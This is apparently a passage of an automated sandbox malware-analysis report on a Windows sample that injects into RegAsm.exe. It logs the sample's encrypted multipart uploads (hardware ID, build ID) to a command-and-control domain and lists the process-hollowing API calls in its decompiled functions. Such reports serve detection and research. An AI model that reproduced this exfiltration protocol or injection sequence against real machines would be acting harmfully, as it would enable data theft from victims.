2024-04-17 05:14:58 UTC	1367	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 34 43 30 30 35 31 38 42 39 44 30 32 39 38 42 43 37 35 46 38 34 38 41 46 34 33 30 42 33 34 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 70 47 6c 4d 4d 6e 2d 2d 72 6f 63 6b 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"04C00518B9D0298BC75F848AF430B345--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"pGlMMn--rocke
2024-04-17 05:14:58 UTC	810	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 05:14:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6gqvh32osqldffj4dku4ndn9dp; expires=Sat, 10-Aug-2024 23:01:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Obh2mYqYcUyX70lVyd217a2MNG4NaFq3e8UnskD7ErsdWIckOPYADa%2FqjYFVk9WPQGjoEnrMU3PWgjkQmv7UR8j0o5pLWLcuqkl%2FSl4vBknHgDeiVV5Pvp62Sq15vrops7zBXP8i42l0w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8759ef417aa044fd-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 05:14:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-17 05:14:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49706	172.67.217.241	443	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 05:14:59 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571094 Host: pushjellysingeywus.shop
2024-04-17 05:14:59 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 34 43 30 30 35 31 38 42 39 44 30 32 39 38 42 43 37 35 46 38 34 38 41 46 34 33 30 42 33 34 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 70 47 6c 4d 4d 6e 2d 2d 72 6f 63 6b 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"04C00518B9D0298BC75F848AF430B345--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"pGlMMn--rocke
2024-04-17 05:14:59 UTC	15331	OUT	Data Raw: 72 89 ba 07 18 d7 a1 e9 77 20 5a 7a 03 dc a5 03 f4 ab 24 40 d8 ec cd 9a 19 49 88 d9 5a c1 33 19 77 ed 69 cc 4e 5d c9 2e da ac 04 d8 d6 c7 2b 16 f5 5c 0d 88 6d 30 b6 fa ff d9 26 c9 d0 83 d8 ee e9 50 b7 28 90 89 84 ed e7 10 be 2b 0f 76 c2 48 4e 83 23 fe 50 aa 75 62 8e ee c4 70 8f 84 cd 1f 12 83 78 a4 e0 97 19 99 28 f8 92 26 e2 49 8a d5 69 15 9d 22 20 de e8 e7 9d 08 1c 79 97 45 85 0f 5a df 0e 84 ef 14 78 b8 b2 26 57 ef 1a a0 e5 1f 84 b2 14 73 b4 d8 95 5c b4 58 cd 06 e5 d8 af d6 73 fc af 6e 0a e1 b7 e2 74 19 e5 90 4e 9e 07 94 d1 c2 6f f7 f0 12 ba fc 82 d0 cf 34 e4 25 cc 35 18 ce c6 54 29 71 95 27 8d c2 d2 25 cd 46 56 1d 95 e8 54 56 06 22 dc 96 b5 26 5f 2d 01 ff 9d 0c 1d 74 10 11 4c f4 a2 e7 79 d6 43 c1 c6 09 dc ab 46 c8 b8 6c 88 89 4c d1 48 d9 68 0c 6d bb c5 Data Ascii: rw Zz$@IZ3wiN].+\m0&P(+vHN#Pubpx(&Ii" yEZx&Ws\XsntNo4%5T)q'%FVTV"&_-tLyCFlLHhm
2024-04-17 05:14:59 UTC	15331	OUT	Data Raw: df 47 81 29 3c da 92 78 56 11 26 02 49 d4 6d bf 3b 9b 5b 80 18 41 e6 1e 44 8f 0e 0d ba 13 e3 8b 1f 85 35 82 6b 42 13 66 85 d5 59 22 d5 08 b2 68 b2 0f 29 e9 ce b2 f9 e6 dc 39 b9 ad fe d8 ef cf ab 09 8a 73 dd 71 77 8b ed 87 19 b7 34 26 08 39 bf a5 0e c7 c8 fb 0a 21 a2 46 a5 d6 59 29 a3 99 27 fc ba 26 76 e3 f8 1f 69 e1 c9 24 fd c1 1a d7 88 4d 25 0c ac ba ce 98 b0 54 15 b3 df 2d 54 18 5f 6d f5 d5 32 2b d8 67 03 9a 15 1f 5f 71 f3 83 26 7e 6f 1f 54 03 42 1c 93 f7 ae 9f f0 69 08 b2 67 23 99 aa 8c e8 f3 83 09 0b 4e 16 70 d0 71 4d 82 6f dc bc b5 4a 55 dc 36 56 08 c5 2c cb 22 d6 00 4d 46 71 53 8a fb be 29 ac d6 4a ba ab b0 8c c7 94 de df 9a 40 bd 2f 2b df d0 9f 43 ca 0e e1 08 aa c5 71 d5 86 5b c9 1c 9f 2f e6 64 2f 5c 5e 19 56 fa fb 83 d0 b6 b2 ec a5 4d 9f f4 93 39 Data Ascii: G)<xV&Im;[AD5kBfY"h)9sqw4&9!FY)'&vi$M%T-T_m2+g_q&~oTBig#NpqMoJU6V,"MFqS)J@/+Cq[/d/\^VM9
2024-04-17 05:14:59 UTC	15331	OUT	Data Raw: 1d 70 48 85 d0 02 2f 36 b4 23 db 07 5d 50 94 3f 33 b5 d7 44 b2 12 57 7e 36 1b 50 51 c1 01 73 3b 9e 7d 15 78 e3 6b 5a 85 93 29 b3 b3 9b 00 18 46 0a 64 99 88 5c 52 1e 96 0a e2 f4 fd c4 a1 43 51 81 e5 98 f7 9e 8a fa 87 26 6c 27 f8 f6 9c 87 69 4f 1a 41 01 7d 66 22 3b dd ca 5b 29 4a be 33 11 22 b6 4d 96 b0 f8 d7 1c 05 9e 17 9a 98 e6 27 d6 ef 2b 8f 2f fd 55 25 3a 2e 5c 27 8d bf 19 fa 24 af a8 ce 54 70 73 46 d9 92 5a 7a 21 75 02 5c d7 54 c9 56 e8 40 10 4d f3 7f e3 cb c7 85 18 51 9a 75 47 3b f4 4c 83 50 fb fb 7d 9e 51 f8 37 25 b9 c5 9b 29 4b 88 0a cb 47 48 e2 40 81 20 36 2e 2c 48 ef e3 b8 e2 c5 4e c8 d2 f7 7a d8 be a7 55 cc fe 6b ca 59 4f 5e 86 b0 fc 58 13 7b 19 00 a9 7f 14 c7 b8 73 9f 34 44 59 74 2a 95 66 76 6c 5f cf 7c 97 47 e3 94 72 6a ed 10 e2 17 57 7f 27 7e Data Ascii: pH/6#]P?3DW~6PQs;}xkZ)Fd\RCQ&l'iOA}f";[)J3"M'+/U%:.\'$TpsFZz!u\TV@MQuG;LP}Q7%)KGH@ 6.,HNzUkYO^X{s4DYt*fvl_\|GrjW'~
2024-04-17 05:14:59 UTC	15331	OUT	Data Raw: fc 59 7f 0f 8c 41 a4 78 3a cb 1a 10 a5 b8 6b 67 bf 5d 55 12 47 89 63 c4 b1 36 83 61 0d 82 df 3c 1a 12 fe 28 5f 2b fe 39 c0 da 41 47 72 dd c4 11 7b 51 11 03 19 58 d6 9d 3a 66 e1 ff 77 7e ff df 7b 2d 22 b3 45 8e f6 e3 61 f4 00 97 e8 3b 67 a9 46 c1 ac e0 1d 97 38 a5 71 f8 34 c8 f1 45 5d 05 e5 a4 c0 f7 e3 1c 3d 51 00 a7 f9 ae a3 4d 61 0a 1c 0e c1 cd c0 0b 1e e6 0c 82 74 0c ae 3b 4e 3e 9a 5f 70 65 13 df fb c0 b1 f8 36 e1 8e d8 b9 46 0a 3f 74 50 c0 45 12 12 39 12 b9 72 17 61 3e c0 3d 3a 99 fb 7b 9b 9f 38 2d f7 dc 52 91 69 3e 96 3d b9 5a b2 c4 d3 af 6f 37 dc d0 14 6a 0d e2 42 22 db 10 ad 09 45 e9 3c 2b 7c f3 45 52 63 54 58 06 4b 95 2f cb 9c 6e cc 52 69 67 ff 4d 92 5d 1f fd 37 ab f9 60 5c c8 dd cd ab 37 55 1e c2 5a a0 80 e8 c7 fb 7a f8 f6 62 9a 21 fb e9 7e 09 bb Data Ascii: YAx:kg]UGc6a<(_+9AGr{QX:fw~{-"Ea;gF8q4E]=QMat;N>_pe6F?tPE9ra>=:{8-Ri>=Zo7jB"E<+\|ERcTXK/nRigM]7`\7UZzb!~
2024-04-17 05:14:59 UTC	15331	OUT	Data Raw: 7b 14 67 84 ec cc f4 c7 14 91 d3 b7 32 15 80 a3 e0 9a 4c 9d f0 d1 1f dd c2 7a b3 04 11 3c 1a dd 75 fa 53 13 c9 9e 5e e3 24 b1 b6 f8 35 08 75 a8 01 1f 20 66 73 1a a4 bd 01 a5 ff df 6d 2d 49 ab 0d 31 10 33 57 89 75 0a 0b 7c 77 b2 7c b0 08 ff d4 17 cc ac 80 fa 22 0e 4c 09 52 23 43 7a 01 55 80 fb 42 00 d4 87 23 e1 4f 20 9b 76 41 54 66 17 fd 60 4f 90 c0 de d9 82 81 d0 0d ce 89 e9 d0 81 8a 5d 99 5e 9c e3 3d 35 89 68 cf 4a b9 25 34 f9 fc 86 e1 04 71 48 a6 81 56 aa 98 ee 88 69 7c 79 7d 51 d2 65 31 68 37 cf 9c e9 28 0a 45 d5 09 37 59 d4 51 55 40 ab 34 1d f1 53 c1 bd f3 de f0 51 20 43 b4 2d 96 2a 29 5b 46 53 ad 46 d2 fc c5 9f 48 23 e3 f0 76 b0 1d 35 b6 47 04 03 e0 e9 23 55 0f 9d 8b 3b cc fb fb e4 38 a5 ec 85 f2 f3 fc 5c 00 a5 60 7f da c6 64 b3 4e 0a 50 ae 43 c4 d4 Data Ascii: {g2Lz<uS^$5u fsm-I13Wu\|w\|"LR#CzUB#O vATf`O]^=5hJ%4qHVi\|y}Qe1h7(E7YQU@4SQ C-*)[FSFH#v5G#U;8\`dNPC
2024-04-17 05:14:59 UTC	15331	OUT	Data Raw: 04 61 05 9f fd f5 2f f1 c8 4c 40 e3 ae cc ae 07 73 bc 80 91 af fa 36 d1 8e 65 68 7c d5 58 c2 bb b0 76 e1 cd 4c f5 0a 45 2a 09 33 fb c3 a5 54 bc ed 46 d0 21 0c ef ca 2d 6c 67 09 3c d7 a8 34 50 56 9c f6 52 84 36 be ae e5 8b 01 5b 47 3b 84 d9 56 80 1d ff 17 01 09 0a 9b f5 40 89 ca 0e 59 95 ae fc 29 a6 8d 3f cd a3 79 7a f2 ec 65 2a ed a9 ac 27 37 f5 c8 c7 29 ef 8e 2e 4e c8 cb 75 0f fa 00 b0 cf 57 bf 3d 3d 30 6e 8f cc f1 9e 7e 08 70 14 00 7b 89 62 da 36 04 c1 b8 a3 1a c4 dd 44 a0 ed 15 b4 5d 57 34 5e bd 57 f1 84 ca af a7 45 02 33 7e d4 7c 91 4a e6 1a 87 9d 37 e5 de 6d a7 5a c9 78 4d 60 6c 00 a6 10 99 b5 1b 43 55 85 c7 96 75 ad 20 72 7f 1f 19 d0 0c 3c 77 66 f1 83 93 68 de 10 5c 00 23 56 7c c0 6e 07 59 fd 79 d3 f4 37 b5 3c 34 bd 8d 25 93 8f 51 7b 3e 35 ea a7 24 Data Ascii: a/L@s6eh\|XvLE3TF!-lg<4PVR6[G;V@Y)?yze'7).NuW==0n~p{b6D]W4^WE3~\|J7mZxM`lCUu r<wfh\#V\|nYy7<4%Q{>5$
2024-04-17 05:14:59 UTC	15331	OUT	Data Raw: df 03 e4 82 bd 7b c4 fb fc ed 77 ff d0 27 a6 38 82 42 c5 03 5c d3 13 07 a1 51 07 d7 4e ea 23 ab 9e 5c f7 ac 2f b1 40 5d 29 56 77 c5 d6 19 62 29 92 c3 10 b1 8c 52 95 cb 23 69 37 86 f0 d0 47 2e fd 49 38 ff 62 fb 84 89 77 95 c3 5f 4d 8f c7 b3 8b f4 04 1a b3 54 fe e3 47 ad e3 80 fb d3 2a 61 cd 77 50 86 85 43 f8 38 2f d0 b7 11 06 b7 b3 6f 83 02 7b e0 36 a2 99 0a 91 71 a8 2f 47 92 44 b0 76 ca de bc e7 3c c3 d3 21 ea 75 50 e8 88 80 7e 42 b4 33 f7 4d 2f bd 19 1a a4 dd 06 85 36 57 29 d9 cb ce 32 12 17 80 5d ec 36 0e c4 b5 49 d2 7b 79 81 4a 93 ce e6 b9 e3 0a ef 2e 87 bd 1b ab 8d 03 b3 2d c6 07 4d 49 4a 7f 0a bd 8c 9f 84 7f 40 c0 95 5c 05 cc 2a 96 b5 e5 aa 8b c4 b7 1a 23 48 b2 1f c5 ec e4 c2 2f 6d d4 06 c1 97 78 ce 51 f8 b6 58 7a 7c ea 2d a2 ff 22 1e 42 e8 18 15 1e Data Ascii: {w'8B\QN#\/@])Vwb)R#i7G.I8bw_MTGawPC8/o{6q/GDv<!uP~B3M/6W)2]6I{yJ.-MIJ@\#H/mxQXz\|-"B
2024-04-17 05:14:59 UTC	15331	OUT	Data Raw: b1 57 11 60 cf 9a 4c 5d 00 32 a4 d9 84 f0 d9 7d 30 a6 2e 48 1e 5d b2 64 f9 33 dc da 97 a7 ac 75 c2 49 d9 94 f6 ec 80 f5 57 88 f8 22 68 9e 59 7d 5e 17 d3 ab db 96 b8 7b ae 3e 78 c9 ab 94 59 e8 e5 8a 13 59 79 35 fc 86 f1 bf 38 b1 5f 0c dc 46 40 ff 4f af 23 ca 4d 88 3c 89 a7 30 01 fd 57 7d 8d 83 0c 38 88 fa d0 f8 2d e2 f4 45 83 40 13 3e d5 16 17 9e f7 c7 50 08 fc b5 67 16 20 22 a8 5e 3d da bd 45 e2 5a 11 ef 40 7c 2e 1c 01 c3 0a 2b 7c 01 23 e5 14 87 0a 9f ab 1a a8 a3 e4 9d ae 37 2a a0 cf 6b 82 2b c2 dd c6 70 01 dc fc df a0 90 1f e5 23 b0 54 b0 f2 db 60 e2 27 82 eb 31 27 88 21 4a 90 b0 34 e7 f4 71 18 62 e1 59 d1 08 2c d7 b2 a2 0b 9d 9b 4c 47 90 e2 d7 10 bf 46 b1 bd e9 fe c8 d7 7f 93 b0 9c 03 7c 60 9a 27 4a 12 e3 82 d2 f9 bd 5e dc 41 ae 48 2c e4 aa 19 67 e9 a5 Data Ascii: W`L]2}0.H]d3uIW"hY}^{>xYYy58_F@O#M<0W}8-E@>Pg "^=EZ@\|.+\|#7*k+p#T`'1'!J4qbY,LGF\|`'J^AH,g
2024-04-17 05:14:59 UTC	15331	OUT	Data Raw: e3 2b 46 24 4b a7 f0 49 7e e3 5c 8a cf a4 87 8a 7f 17 49 8f 35 4f 0b 64 a6 16 a5 b3 7f 64 5d 20 e0 6c e8 a9 8b 7a f3 bb b7 e4 55 ad 75 6a ec e5 0c b8 96 61 b9 4b 9a 45 ed eb 23 a3 5d af 3a 9e ef 01 9f 2c 00 e5 25 ab 87 7b a7 bf 62 fd 1d e0 f6 bc 3b 27 47 66 6c 18 56 8f 96 cc b0 e3 ae f7 77 56 56 be 1b a7 d5 5e ab ba da 7d ad 6a 5d a8 f4 ef 3a 7a 30 45 dc 7b a3 0a 8a 2a 28 5f 29 30 66 ea 7e fa f0 fd da cd 91 57 d7 b9 da c3 be 4f 32 9d a7 78 9c 46 d7 ca c1 7c 9a 67 dc 5e a9 47 5e b9 3f 76 22 67 90 60 55 76 21 a3 5a 92 f1 15 82 66 01 c3 4f 53 fa 0a 1a 78 86 db ee 9e 5d 26 50 d7 5f a6 3c be 0c f4 06 8f 1e 7c a9 06 bc c4 11 3b 1a 73 0e fc 05 85 ee b8 b2 8b d6 57 1b a2 4b 3d 18 58 1b b2 48 6f 3c aa 7d b8 27 6d a7 bc 29 65 4c 2c 7a 1f 61 ed fa e9 ed 52 22 87 86 Data Ascii: +F$KI~\I5Odd] lzUujaKE#]:,%{b;'GflVwVV^}j]:z0E{*(_)0f~WO2xF\|g^G^?v"g`Uv!ZfOSx]&P_<\|;sWK=XHo<}'m)eL,zaR"
2024-04-17 05:15:00 UTC	816	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 05:15:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qb9c8mlrb8ban6mc7q1gm0undc; expires=Sat, 10-Aug-2024 23:01:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=93OYioWGFZleVELBwu78UB2FDhkGm7Y%2Fl9CDbmG2PoK4CyJZ6G2%2FJnKz7VnrEgYqI%2FqTzaeIHgtFGcg2CS4aBH1Ai8S9VHH%2BhweCJlBrpOR6dC1y79SD8LD3EvZyXdDfJ5QU6KSJ%2BlEZfA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8759ef48f8f9ad7d-ATL alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	07:14:51
Start date:	17/04/2024
Path:	C:\Users\user\Desktop\hcjt7Ajt5t.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\hcjt7Ajt5t.exe"
Imagebase:	0x4d0000
File size:	315'904 bytes
MD5 hash:	D05DDC72D9C4FAE1EE83E9AC16275AFC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:14:51
Start date:	17/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x9c0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	45%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	30.6%
Total number of Nodes:	36
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02812435 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 028125A4
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 028125B7
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 028125D5
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 028125F9
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 02812624
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 0281267C
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 028126C7
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 02812705
Wow64SetThreadContext.KERNEL32(?,?), ref: 02812741
ResumeThread.KERNELBASE(?), ref: 02812750

Strings

GetP, xrefs: 028124B7
Load, xrefs: 02812473
ress, xrefs: 028124BF
aryA, xrefs: 0281247B

Memory Dump Source

Source File: 00000000.00000002.2039349242.0000000002812000.00000040.00000800.00020000.00000000.sdmp, Offset: 02812000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2812000_hcjt7Ajt5t.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: GetP$Load$aryA$ress
API String ID: 2687962208-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 6fd3102e5e2766ae80ed48560d0648e7c91c4c3e6ad77a694a8b37604d6ad588
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 00B1E67664024AAFDB60CF68CC80BDA77A9FF88714F158124EA0CEB345D774FA518B94

Uniqueness

Uniqueness Score: -1.00%

Function 00E70A2F Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 484
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0, xrefs: 00E70B43

Memory Dump Source

Source File: 00000000.00000002.2039223672.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e70000_hcjt7Ajt5t.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 0629a9ac8965c79bd45a65e85558b95cd3b01d4816eeddec2ce911cee36de68b
Instruction ID: 29ba02197d7716d0a58dd47a794f8388561ca96371ae04a6500871d4fdfb5c36
Opcode Fuzzy Hash: 0629a9ac8965c79bd45a65e85558b95cd3b01d4816eeddec2ce911cee36de68b
Instruction Fuzzy Hash: 0B129A31A00295CFCB15CFA9C480AADFBB2AF59310F59D695E498BB256C730FD81CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00E704F4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03813584,?,?,?), ref: 00E70FC9

Strings

HN, xrefs: 00E704F4

Memory Dump Source

Source File: 00000000.00000002.2039223672.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e70000_hcjt7Ajt5t.jbxd

Similarity

API ID: ProtectVirtual
String ID: HN
API String ID: 544645111-2706972992
Opcode ID: 0c2dd4607cbd248e5965197b1d01a7b0d6e960a7abb071206c113b11b939a506
Instruction ID: bf5e6f2968e72cd5bbb311bdcbcfa303e02bfcf08d04a3ec17c51da831989443
Opcode Fuzzy Hash: 0c2dd4607cbd248e5965197b1d01a7b0d6e960a7abb071206c113b11b939a506
Instruction Fuzzy Hash: 2721E4B5901619EFDB10CF9AD885BDEFBB4FB48710F10812AE918B7240D3B4A954CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00E70500 Relevance: 1.6, APIs: 1, Instructions: 68
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,?,00000000,?,?), ref: 00E710B1

Memory Dump Source

Source File: 00000000.00000002.2039223672.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e70000_hcjt7Ajt5t.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 642b3411fd2211827d9c8847c19111770804356dc0f6af3ce624a5a1cc9ef675
Instruction ID: dd14fffbcab1a044962354db0c99084ab718933d008bfb403e9b46238151dbf6
Opcode Fuzzy Hash: 642b3411fd2211827d9c8847c19111770804356dc0f6af3ce624a5a1cc9ef675
Instruction Fuzzy Hash: D521E4B59003499FCB10CF99D984ADEBBF4FB48314F20846AE919A7350D3B5A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegAsm.exePID: 2724, Parent PID: 5016COMMON

Execution Graph

Execution Coverage:	15%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15.1%
Total number of Nodes:	332
Total number of Limit Nodes:	23

Executed Functions

Function 00421670 Relevance: 10.5, Strings: 8, Instructions: 515
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

}%m;, xrefs: 00421700
M.C, xrefs: 00421736
U=^3, xrefs: 0042170E
-Uk, xrefs: 00421772
@-t#, xrefs: 004216F2
e!}', xrefs: 004216F9
m1w7, xrefs: 00421718
l9h?, xrefs: 00421707

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: M.C$-Uk$@-t#$U=^3$e!}'$l9h?$m1w7$}%m;
API String ID: 0-2617895959
Opcode ID: 858b31ac3e56d838458b62c7e55d528acdb4f791de3a11f7d4d9e133cc0d2170
Instruction ID: 6a773ac881d51c05e7616f0b7475f283f1ec1e9526ef155ff2a7bcc4ebfbe97b
Opcode Fuzzy Hash: 858b31ac3e56d838458b62c7e55d528acdb4f791de3a11f7d4d9e133cc0d2170
Instruction Fuzzy Hash: F90259B5600B008BE328CF25D891B67B7E1FB89705F548A2DD5DA8BBA1EB74F405CB44

Uniqueness

Uniqueness Score: -1.00%

Function 004216CE Relevance: 10.5, Strings: 8, Instructions: 462
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

}%m;, xrefs: 00421700
M.C, xrefs: 00421736
U=^3, xrefs: 0042170E
-Uk, xrefs: 00421772
@-t#, xrefs: 004216F2
e!}', xrefs: 004216F9
m1w7, xrefs: 00421718
l9h?, xrefs: 00421707

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: M.C$-Uk$@-t#$U=^3$e!}'$l9h?$m1w7$}%m;
API String ID: 0-2617895959
Opcode ID: 169af5ad51359e6c2a3cafa0f7d221ece67d597ccbb47c9164488c1cbe9f2b78
Instruction ID: 87eb36321ec09d9b3df0e99b7a0e046060a02d9914ae414ceb22da4e37e7cf2a
Opcode Fuzzy Hash: 169af5ad51359e6c2a3cafa0f7d221ece67d597ccbb47c9164488c1cbe9f2b78
Instruction Fuzzy Hash: 63F137B5200B00CBE328CF25D891B67B7E1FB49705F548A6DD5DA8BAA1EB74F441CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00425183 Relevance: 8.1, APIs: 2, Strings: 2, Instructions: 1113COMMON

Download Yara Rule

Strings

cfbe, xrefs: 00425CFE
= 'Q, xrefs: 00425EF2

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: = 'Q$cfbe
API String ID: 0-911374196
Opcode ID: 6d61d4dcef794e29638592454722497267c9adfd5ffa75ec27e31235a934c28e
Instruction ID: bb3565213d9b5af794c0b6c16da6f42ae929365bcb1d7bd06dd9ed2123aaf00f
Opcode Fuzzy Hash: 6d61d4dcef794e29638592454722497267c9adfd5ffa75ec27e31235a934c28e
Instruction Fuzzy Hash: B8924970245B908EE726CB35D494BE3BBE1BF17344F84099DD4EB8B282C77AA405CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00409D20 Relevance: 6.7, Strings: 5, Instructions: 468
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

